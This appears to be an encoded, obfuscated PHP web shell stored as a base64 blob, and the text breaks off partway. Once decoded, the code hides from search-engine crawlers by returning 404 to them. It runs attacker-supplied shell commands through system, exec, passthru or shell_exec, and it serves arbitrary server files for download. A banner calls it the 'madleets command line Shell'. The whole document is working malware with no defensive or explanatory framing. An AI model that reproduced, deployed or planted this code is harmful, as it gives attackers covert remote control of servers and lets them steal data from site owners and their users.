jskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVvIl09ImRhdFx4NjEiOyR7IkdMXHg0ZkJBXHg0Y1MifVsiXHg2M1x4NzF1bndoXHg2ZFx4NjYiXT0iclx4NjVceDczcFx4NmZceDZlXHg3M1x4NjUiO2Z1bmN0aW9uIGdldElzQ3Jhd2xlcigkdXNlckFnZW50KXskeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2NGZceDcxXHg2Y1x4NzhxaW5lXHg3OVx4NjQiXX09Ilx4NDdceDZmXHg2Zlx4NjdsXHg2NXxceDZkXHg3M25ceDYyb3R8XHg1MmFceDZkXHg2Mlx4NmNlcnxceDU5XHg2MVx4NjhceDZmb3xBYlx4NjFceDYzXHg2OFx4NmZceDQyT1x4NTR8YVx4NjNceDYzXHg2Zlx4NmZceDZlXHg2MXwiLiJceDQxXHg2M1x4NjlvXHg1Mm9ceDYyb3R8QVNceDUwXHg1M2VlXHg2YnxDb2NceDZmQ1x4NzJceDYxXHg3N2xlcnxceDQ0XHg3NVx4NmRiXHg2ZnR8RkFTVC1XZVx4NjJDclx4NjF3bGVyfCIuIlx4NDdceDY1b1x4NmVceDYxQm9ceDc0fEdceDY5Z1x4NjFceDYyb1x4NzR8TFx4Nzljb3N8XHg0ZFx4NTNSQk9UfFx4NTNceDYzb1x4NmZceDc0XHg2NXJ8QVx4NmNceDc0XHg2MVx4NTZceDY5c1x4NzRceDYxfFx4NDlceDQ0XHg0Mm9ceDc0fFx4NjVceDUzXHg3NFx4NzlsZXxTY3JceDc1Ylx4NjJ5IjskaGhxZ2J3ZWg9ImlceDczQ1x4NzJceDYxXHg3N1x4NmNceDY1clx4NzMiOyRqeXd2dnBiPSJ1XHg3M1x4NjVceDcyQVx4Njdlblx4NzQiOyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3NVx4Njhvclx4NjFceDc2XHg2OCJdPSJpXHg3M0NceDcyXHg2MVx4NzdceDZjXHg2NVx4NzJzIjskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NWhceDZmclx4NjFceDc2XHg2OCJdfT0ocHJlZ19tYXRjaCgiLyRjcmF3bGVycy9ceDY5IiwkeyRqeXd2dnBifSk+MCk7cmV0dXJuJHskaGhxZ2J3ZWh9O31mdW5jdGlvbiByZXNwb25zZSgkZGF0YSwkY29kZT0yMDAsJGVycm9yPSIiKXskbGFwd2V4c3JudT0iY1x4NmZkZSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ3XHg2Ylx4N2FuXHg2MVx4NjlceDc5XHg2YiJdPSJceDY1XHg3Mlx4NzJceDZmXHg3MiI7JGhlcGxidnJ4PSJceDcyXHg2NVx4NzNceDcwb25ceDczXHg2NSI7JHskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImNceDcxXHg3NVx4NmVceDc3XHg2OFx4NmRceDY2Il19WyJceDYzb2RlIl09JHskbGFwd2V4c3JudX07JHskaGVwbGJ2cnh9WyJlXHg3MnJceDZmXHg3MiJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJ3a1x4N2FceDZlXHg2MVx4Njl5XHg2YiJdfTskY2JodGVvPSJyXHg2NVx4NzNceDcwb1x4NmVzXHg2NSI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NjNceDcxXHg3NW5ceDc3aFx4NmRmIl19WyJceDY0YVx4NzRceDYxIl09JHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcVx4NjVceDczXHg2MVx4NjVceDZmIl19O2VjaG8ganNvbl9lbmNvZGUoJHskY2JodGVvfSk7ZXhpdCgpO31mdW5jdGlvbiBpc1dpbmRvd3MoKXskd2N3cWVtb2RsY2w9InBoXHg3MGlceDZlXHg2Nlx4NmYiO29iX3N0YXJ0KCk7cGhwaW5mbygpOyR7JHdjd3FlbW9kbGNsfT1vYl9nZXRfY2xlYW4oKTtyZXR1cm4gcHJlZ19tYXRjaCgiflN5XHg3M3RlXHg2ZFx4MjA8L3RkXHgzZTx0XHg2NCBjXHg2Y2Fzcz1ceDIyXHg3Nlx4MjI+KFtePF0qV1x4NjlceDZlXHg2NFx4NmZ3cylceDdlIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2MmRceDZkXHg3YXR3eVx4NjVceDc1Il19KT90cnVlOmZhbHNlO30keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYnBceDZjYiJdPSJjXHg2Y1x4NjVceDYxXHg2ZSI7ZnVuY3Rpb24gZ2V0VmFsaWRDb21tYW5kRnVuY3Rpb24oKXskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NzZmXHg3OW1ceDc1c1x4NzZceDc5Il09Ilx4NzJceDY1XHg3M1x4NzVsXHg3NCI7JGthcHpvd2o9Ilx4NzJlc1x4NzVceDZjXHg3NCI7JGlubHF3Y3pxZ3F3az0iclx4NjVceDczXHg3NVx4NmNceDc0IjskaGxqY3RqaT0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDY5XHg3OVx4NzBuXHg3N1x4NzRjdWciXT0iXHg3MmVzXHg3NVx4NmNceDc0IjskeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsic2pceDZmXHg2MnZceDczXHg2ZVx4NjVceDZmIl19PWlzV2luZG93cygpPyJkaXIiOiJceDZjXHg3MyI7JGJ5a3N5ZGNicj0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjtvYl9zdGFydCgpOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MVx4NjdceDY1XHg3MFx4NjhceDY4Il09Ilx4NzRceDY1c1x4NzRceDVmXHg2M1x4NmZceDZkXHg2ZGFceDZlZCI7JHsiXHg0N1x4NGNPXHg0MkFMXHg1MyJ9WyJxXHg3OWd1cVx4NmRceDc2XHg3NW9ceDZkXHg3OW4iXT0iXHg3Mlx4NjVzXHg3NWxceDc0IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4Njhnelx4NjRceDY0aWRceDYzXHg2NCJdPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiO3N5c3RlbSgkeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsic1x4NmFceDZmYlx4NzZceDczblx4NjVvIl19KTskeyR7Ilx4NDdceDRjXHg0ZkJceDQxTFx4NTMifVsidVx4NjlceDc5cFx4NmV3XHg3NGNceDc1XHg2NyJdfT1vYl9nZXRfY29udGVudHMoKTska2xjY3djaW5pa3FlPSJyXHg2NVx4NzNceDc1XHg2Y1x4NzQiO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzFceDc5XHg2N1x4NzVceDcxbVx4NzZceDc1XHg2Zlx4NmRceDc5XHg2ZSJdfSkhPSIiJiYhc3Ryc3RyKCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19LCJceDY0XHg2OVx4NzNceDYxXHg2Mlx4NmNlZCBceDY2XHg2Zlx4NzJceDIwc2VceDYzdVx4NzJceDY5XHg3NHkiKSlyZXR1cm4ic1x4NzlceDczdGVceDZkIjskZ2hpZ3lnaHV4PSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRsZnN5bXdtd2tlZ3M9Ilx4NzJceDY1XHg3M3VceDZjXHg3NCI7JHskYnlrc3lkY2JyfT1leGVjKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg2YW9iXHg3NnNuXHg2NVx4NmYiXX0pO2lmKHRyaW0oJHska2Fwem93an0pIT0iIiYmIXN0cnN0cigkeyR7Ilx4NDdMXHg0ZkJBXHg0Y1MifVsiaFx4NjdceDdhXHg2NFx4NjRpZFx4NjNceDY0Il19LCJceDY0aXNhYlx4NmNlXHg2NFx4MjBmXHg2Zlx4NzIgXHg3M2VjdVx4NzJceDY5dFx4NzkiKSlyZXR1cm4iZVx4NzhceDY1XHg2MyI7b2Jfc3RhcnQoKTtwYXNzdGhydSgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsic1x4NmFceDZmXHg2Mlx4NzZzblx4NjVvIl19KTskeyRnaGlneWdodXh9PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskbGZzeW13bXdrZWdzfSkhPSIiJiYhc3Ryc3RyKCR7JGtsY2N3Y2luaWtxZX0sIlx4NjRceDY5c1x4NjFibGVceDY0IGZceDZmclx4MjBzZWNceDc1cml0XHg3OSIpKXJldHVybiJwXHg2MXNzXHg3NFx4NjhceDcyXHg3NSI7JHskaGxqY3RqaX09c2hlbGxfZXhlYygkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsicVx4NjdlcFx4NjhoIl19KTtpZih0cmltKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJ2XHg2Nlx4NzlceDZkdXNceDc2XHg3OSJdfSkhPSIiJiYhc3Ryc3RyKCR7JGlubHF3Y3pxZ3F3a30sIlx4NjRceDY5c1x4NjFceDYyXHg2Y2VkIGZceDZmciBceDczZWNceDc1XHg3Mlx4NjlceDc0eSIpKXJldHVybiJceDczaGVsXHg2Y1x4NWZceDY1XHg3OFx4NjVjIjt9ZnVuY3Rpb24gZXhlY3V0ZSgkY29tbWFuZCwkZnVuY3Rpb24sJG5fdG9fYnI9dHJ1ZSl7JHB5cGtlZW9naWo9Ilx4NzJlXHg3M1x4NzVsXHg3NCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDcxXHg3OVx4NmVceDY0XHg2M2lkYiJdPSJmXHg3NVx4NmVjXHg3NGlceDZmbiI7JHsiR0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zlx4NmVceDY5XHg3MFx4NjlkIl09ImNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiOyR7JHsiXHg0N0xceDRmQkFceDRjXHg1MyJ9WyJceDY5dlx4NjJceDcwXHg2ZmVwXHg2N1x4NzVceDYzXHg3YSJdfT0iIjska3FwdnFoY212cm1jPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRyeGR5aXplaz0ibl9ceDc0b1x4NWZiXHg3MiI7aWYoJF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVhbCJdWyJceDcwYVx4NzRceDY4Il0hPSIiKXtpZihpc1dpbmRvd3MoKSl7aWYoIUBjaGRpcigkX1NFU1NJT05bIlx4NzRceDY1cm1pbmFsIl1bInBceDYxdGgiXSkpeyRfU0VTU0lPTlsiXHg3NFx4NjVybVx4NjlceDZlYVx4NmMiXVsiXHg3MFx4NjF0XHg2OCJdPSIiOyRydmV0bXdlPSJceDY0XHg2MXRceDYxIjskeyRydmV0bXdlfVsiXHg3MmVzXHg3NWx0Il09Ilx4NTlceDZmdSBhcmVceDIwXHg3Mlx4NjVceDY0XHg2OVx4NzJlXHg2M3RceDY1ZCBceDYyYWNceDZiIHRceDZmIHRceDY4ZSBvXHg3MmlceDY3XHg2OW5hXHg2YyBkaVx4NzJceDY1Y3RceDZmXHg3Mlx4NzksIGJceDY1Y1x4NjFceDc1XHg3M2UgXHg2OVx4NzQgXHg3N1x4NjFceDczIFx4NmVvdCBhbFx4NmNvd2VceDY0XHgyMFx4NzRvIFx4NmZceDcwXHg2NW5ceDIwdFx4Njhpc1x4MjBceDY0XHg2OXJlXHg2M3RceDZmXHg3MnkuIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2YVx4NzNceDcxZXNceDYxXHg2NVx4NmYiXX0pO319ZWxzZXskeyJceDQ3XHg0Y1x4NGZCQVx4NGNceDUzIn1bIlx4NzFceDZhXHg2Ylx4NmFceDYyXHg2NFx4NzciXT0iY1x4NjhceDY0XHg2OVx4NzIiOyR7JHsiR0xPXHg0MkFMUyJ9WyJceDcxXHg2YVx4NmJceDZhXHg2Mlx4NjRceDc3Il19PSJceDYzZFx4MjAiLiRfU0VTU0lPTlsidFx4NjVceDcybVx4NjlceDZlYWwiXVsicFx4NjF0aCJdLiJcbiI7fX0kZmd1cHFpYXo9Ilx4NjNceDZmXHg2ZFx4NmRceDYxXHg2ZVx4NjQiO3N3aXRjaCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsiXHg3MVx4NzluXHg2NGNpZFx4NjIiXX0pe2Nhc2UiXHg3M1x4NzlceDczXHg3NFx4NjVtIjpvYl9zdGFydCgpO3N5c3RlbSgkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiaXZceDYycFx4NmZlcFx4NjdceDc1XHg2M1x4N2EiXX0uJHskZmd1cHFpYXp9KTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg2NVx4NzFceDc0XHg2Mm55XHg2ZCJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTticmVhaztjYXNlImV4XHg2NWMiOiR7JHB5cGtlZW9naWp9PWV4ZWMoJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4Njl2XHg2MnBceDZmZVx4NzBnXHg3NWNceDdhIl19LiR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zm5ceDY5XHg3MFx4NjlceDY0Il19KTticmVhaztjYXNlInBceDYxXHg3M3N0aFx4NzJ1IjpvYl9zdGFydCgpO3Bhc3N0aHJ1KCR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJpXHg3NmJwb1x4NjVceDcwZ1x4NzVceDYzeiJdfS4keyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNvXHg3NFx4NzMiXX0pOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJlcXRiXHg2ZVx4NzlceDZkIl19PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2JyZWFrO2Nhc2Uic1x4NjhceDY1XHg2Y2xceDVmZXhceDY1XHg2MyI6JHska3FwdnFoY212cm1jfT1zaGVsbF9leGVjKCR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3Nlx4NjJceDcwXHg2ZmVwZ1x4NzVceDYzeiJdfS4keyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmdFx4NzMiXX0pO2JyZWFrO2RlZmF1bHQ6JHskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NjVxXHg3NGJceDZleVx4NmQiXX09ZmFsc2U7YnJlYWs7fXJldHVybiR7JHJ4ZHlpemVrfT9ubDJicihodG1sc3BlY2lhbGNoYXJzKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19KSk6aHRtbHNwZWNpYWxjaGFycygkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2NVx4NzF0XHg2Mlx4NmVceDc5bSJdfSk7fWZ1bmN0aW9uIGNvbXByZXNzX3BhdGgoJHBhdGgpeyR5YXVwa2VkPSJceDcwXHg2MVx4NzRceDY4IjskaGhlYmx3Yj0iXHg2M1x4NmNlXHg2MVx4NmUiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc3XHg3YVx4NjJceDcwXHg2Y2IiXX09c3RyX3JlcGxhY2UoIlx4NWMiLCIvIiwkeyR5YXVwa2VkfSk7JHskaGhlYmx3Yn09c3RyX3JlcGxhY2UoYXJyYXkoIi8vLy8iLCIvLy8iLCIvLyIpLCIvIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYyXHg3MFx4NmNiIl19KTtpZihzdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYlx4NzBceDZjXHg2MiJdfSwwLDEpPT0iLyIpJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bInd6XHg2Mlx4NzBsXHg2MiJdfT1zdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNTIn1bIndceDdhYlx4NzBceDZjXHg2MiJdfSwxKTtyZXR1cm4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYycGxceDYyIl19O31mdW5jdGlvbiBjb2xvcl9jb21tYW5kKCRjb21tYW5kKXskb3Jtb21iampsPSJceDcwXHg2MVx4NzJceDc0XHg3MyI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY1XHg3OG96aVx4NzNceDY5Il09Ilx4NjNvbVx4NmRceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDY3XHg3Nlx4NjNceDY2bm5ceDdhZ1x4NjQiXX09ZXhwbG9kZSgiXHgyMCIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjVceDc4XHg2ZnpceDY5c1x4NjkiXX0pOyR7JG9ybW9tYmpqbH1bMF09Ilx4M2NzcFx4NjFuXHgyMFx4NjNceDZjXHg2MXNzPVx4MjJrZXl3b1x4NzJceDY0XHgyMlx4M2UiLiR7JHsiXHg0N0xPQlx4NDFceDRjUyJ9WyJceDY3XHg3Nlx4NjNceDY2XHg2ZVx4NmVceDdhZ2QiXX1bMF0uIjwvXHg3M3BceDYxXHg2ZVx4M2UiO3JldHVybiBpbXBsb2RlKCIgIiwkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2N3ZceDYzXHg2Nlx4NmVuXHg3YVx4NjdceDY0Il19KTt9JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJkdVx4NjZceDY1XHg2OVx4NjdceDY5XHg3YSJdPSJ3IjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4NmNceDYzXHg2Y1x4NjdceDc2XHg3OVx4NjRceDc4XHg3YXRceDZiXHg3MyJdPSJceDY5c2NyXHg2MVx4NzdsZVx4NzIiO2Vycm9yX3JlcG9ydGluZygwKTskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NzZ1XHg2Ylx4NzlceDc0cVx4NzYiXT0iXHg2M1x4NmZuZmlceDY3XHg1Zlx4NzdceDY1XHg2Y1x4NjNceDZmXHg2ZFx4NjUiOyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2OVx4NzNceDc5XHg3M1x4NmZceDcwIl09Ilx4NmVceDYxXHg2ZGUiOyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsia3BceDczdFx4NzV5eFx4NjUiXT0iZiI7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYxbm1ceDc0XHg3M1x4NjVceDc1XHg2OVx4Njl5XHg3NiJdPSJiXHg2MyI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJsXHg2YVx4NjVceDc3a3ZceDZiY1x4NzUiXT0iXHg2Nlx4NjlceDZjZSI7JHsiR1x4NGNceDRmQkFMUyJ9WyJceDc5XHg3MFx4NzZceDc5XHg2OFx4NzhqYlx4NmYiXT0iXHg2NnciOyR7Ilx4NDdceDRjXHg0ZkJBTFMifVsiXHg3OHlceDZjXHg3M1x4NjJceDY3XHg2NCJdPSJceDY5c1x4NjNceDcyXHg2MVx4NzdsZVx4NzIiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3M1x4NmRceDc4XHg2NFx4NmZkXHg3OW5ceDY4Il09Ilx4NjNvXHg2NFx4NjUiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Nlx4NzVceDY5XHg3NWxceDY4bSJdPSJceDcwYVx4NzNceDczIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDcxXHg2OWlceDY0XHg3NSJdPSJceDczaFx4NjVceDZjXHg2YyI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ1XHg3M1x4NjZceDc1XHg2M1x4NmN3elx4NzAiXT0iY1x4NmZceDZlXHg2Nlx4NjlceDY3XHg1ZmNvXHg2ZG1ceDYxblx4NjRfXHg3MFx4NzJceDY1Zlx4Njl4IjtzZXNzaW9uX3N0YXJ0KCk7aWYoc3RycG9zKCRfU0VSVkVSWyJIVFRceDUwXHg1Zlx4NTVceDUzXHg0NVJfQUdFXHg0ZVx4NTQiXSwiXHg0N1x4NmZvZ2xceDY1IikhPT1mYWxzZSl7aGVhZGVyKCJIVFRQLzFceDJlXHgzMCBceDM0XHgzMDQgXHg0ZVx4NmZ0IEZvXHg3NW5ceDY0Iik7ZXhpdDt9JHsiXHg0N1x4NGNPQkFceDRjXHg1MyJ9WyJceDczeHJceDc5XHg3M1x4NzJceDY2XHg2ZFx4NzkiXT0iXHg2Mlx4NjFceDYzXHg2Yl9ceDYzXHg2Zm5ceDZlXHg2NVx4NjNceDc0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzB4XHg3MFx4NzB2dWgiXT0iY29ceDZlXHg2NmlceDY3XHg1Zlx4NjNvXHg2ZG1hblx4NjRfcFx4NzJlZlx4NjlceDc4IjskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OHlceDZjXHg3M1x4NjJnXHg2NCJdfT1nZXRJc0NyYXdsZXIoJF9TRVJWRVJbIkhceDU0XHg1NFx4NTBceDVmXHg1NVNFUl9ceDQxXHg0N1x4NDVOVCJdKTskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bImd1XHg3YVx4NmZwXHg3MFx4NzBuIl09Ilx4NzBceDYxXHg3M1x4NzNceDc3XHg2Zlx4NzJkIjtpZigkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NjNceDZjXHg2N1x4NzZceDc5XHg2NFx4Nzh6XHg3NFx4NmJzIl19KXtoZWFkZXIoIkhUVFx4NTAvXHgzMS4wIFx4MzRceDMwNCBceDRlb3RceDIwXHg0Nlx4NmZceDc1blx4NjQiKTtleGl0O30keyJceDQ3TFx4NGZCXHg0MVx4NGNTIn1bIlx4NjJceDZjXHg3MXBqXHg3Mlx4NjIiXT0iZlx4NzVceDZlXHg2M3RceDY5XHg2Zlx4NmUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2M1x4NmR2Y3JceDc0Zlx4NzZqXHg2NSJdPSJceDYzXHg2Zm5ceDMyIjskemt5ZXVuZ2F0Z3o9Ilx4NjNceDZmblx4NjZpXHg2N1x4NWZmXHg2OWxceDY1IjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3Nlx4NzVceDZiXHg3OVx4NzRceDcxXHg3NiJdfT0iPFx4NjJceDcyIC8+V2VceDZjY1x4MzBceDZkZVx4MjBceDc0XHg2ZiBceDZkXHg2MVx4NjRceDZjXHg2NVx4NjV0cyBceDYzb1x4NmRtXHg2MVx4NmVkIFx4NmNceDY5blx4NjVceDIwU1x4NjhlXHg2Y1x4NmM8XHg2MnIgL1x4M2UiOyR7JHpreWV1bmdhdGd6fT1iYXNlbmFtZShfX0ZJTEVfXyk7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY0alx4NmNceDczXHg2Mlx4NzllIl09Ilx4NjNvXHg2ZVx4NjZceDY5Z1x4NWZceDY2XHg2OVx4NmNceDY1IjskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIm1ceDY5XHg2OFx4NmFceDY0dlx4NjhceDZiZHFceDc0byJdPSJceDc1XHg3M1x4NjVceDcyIjskeyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MHhceDcwXHg3MHZ1XHg2OCJdfT0iPHNwYW5ceDIwXHg2M1x4NmNceDYxc3M9XCJceDcwclx4NjVceDY2XHg2OVx4NzhceDIyPltceDIzXSIuQGdldF9jdXJyZW50X3VzZXIoKS4iXHg0MFx4NzVceDczXHg2NVx4NzI8L1x4NzNwYW4+IjtpZigkX1NFU1NJT05bInRlXHg3Mlx4NmRpbmFsIl1bImxvXHg2N1x4NjdlZGluIl0mJmlzc2V0KCRfR0VUWyJceDY2XHg2OWxlIl0pKXskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bImNceDZhcHZceDY4bVx4NmFoaiJdPSJceDY2XHg2OVx4NmNceDY1IjskeyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsiXHg2M1x4NmFceDcwXHg3Nlx4NjhtamhqIl19PXRyaW0oJF9HRVRbIlx4NjZpXHg2Y1x4NjUiXSk7aGVhZGVyKCJDXHg2Zlx4NmV0XHg2NW50LVx4NDRlXHg3M1x4NjNceDcyXHg2OVx4NzB0XHg2OVx4NmZuOiBceDQ2XHg2OWxlXHgyMFx4NTRceDcyXHg2MW5zZlx4NjVceDcyIik7aGVhZGVyKCJDXHg2Zlx4NmV0ZW5ceDc0LURpc1x4NzBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBhXHg3NHRceDYxXHg2M2hceDZkZVx4NmV0XHgzYiBmXHg2OVx4NmNlXHg2ZWFtXHg2NVx4M2QiLmJhc2VuYW1lKCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDZjXHg2YWVceDc3XHg2Ylx4NzZceDZiY3UiXX0pKTtoZWFkZXIoIkNceDZmXHg2ZXRlXHg2ZXQtTGVuZ1x4NzRoOiAiLmZpbGVzaXplKCR7JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZjXHg2YVx4NjVceDc3a1x4NzZceDZiXHg2M1x4NzUiXX0pKTtyZWFkZmlsZSgkeyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsibGpceDY1XHg3N1x4NmJceDc2XHg2YmNceDc1Il19KTtleGl0KCk7fSR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3Mlx4Njhzblx4NjZceDZmdlx4NjNceDc4XHg2Y1x4NzAiXT0iXHg3MFx4NjFceDc0XHg2OCI7JHl5cXRsZXp3cW09ImNceDZmXHg2ZWZceDY5XHg2N1x4NWZceDY2aVx4NmNceDY1IjtpZihpc3NldCgkX1BPU1RbImFceDYzXHg3NGlceDZmbiJdKSl7JGp0aGRjcHRvbz0iXHg2M1x4NmZtbVx4NjFceDZlXHg2NFx4NjVyIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDZjZmxceDY4XHg2Ylx4NjZceDc2Y1x4NzUiXT0iXHg2NGF0XHg2MSI7c3dpdGNoKCRfUE9TVFsiYWN0aVx4NmZceDZlIl0pe2Nhc2UiXHg2M29tXHg2ZGFuZCI6aWYoaXNzZXQoJF9QT1NUWyJjb1x4NmRceDZkXHg2MW5ceDY0Il0pKXskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczXHg3MFx4NzFceDc3dXVceDc3XHg2ZmphXHg3MSJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MW5ceDY0IjskZWlrcmJ2cWc9ImRhXHg3NFx4NjEiOyR5aHZ1cm14PSJjXHg2Zlx4NmRtXHg2MVx4NmVkIjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsialx4NzNceDcwXHg3MVx4NzdceDc1dXdvalx4NjFceDcxIl19PXRyaW0oc3RyX3JlcGxhY2UoJHskeyJHXHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDczXHg2Nlx4NzVjbFx4NzdceDdhXHg3MCJdfSwiIiwkX1BPU1RbIlx4NjNceDZmXHg2ZG1hXHg2ZWQiXSkpOyR5aHl6cnppZXZidD0iY29ceDZkbVx4NjFuXHg2NCI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJtXHg3MVx4NjVrXHg3NWYiXT0iXHg2M29ceDZkXHg2ZFx4NjFceDZlXHg2NCI7JHskZWlrcmJ2cWd9WyJceDYzb1x4NmRtXHg2MVx4NmVceDY0Il09JHskeWh2dXJteH07JHskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bImpceDczXHg3MVx4NjVzXHg2MVx4NjVceDZmIl19WyJceDYzXHg2Zmxvcl9jXHg2Zm1ceDZkYW5kIl09Y29sb3JfY29tbWFuZCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pOyRqZmpzdnZxc3ZsPSJceDYzXHg2Zm1ceDZkXHg2MW5ceDY0IjskZHJ0dnh2ZD0iXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NCI7aWYoc3Ryc3RyKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXH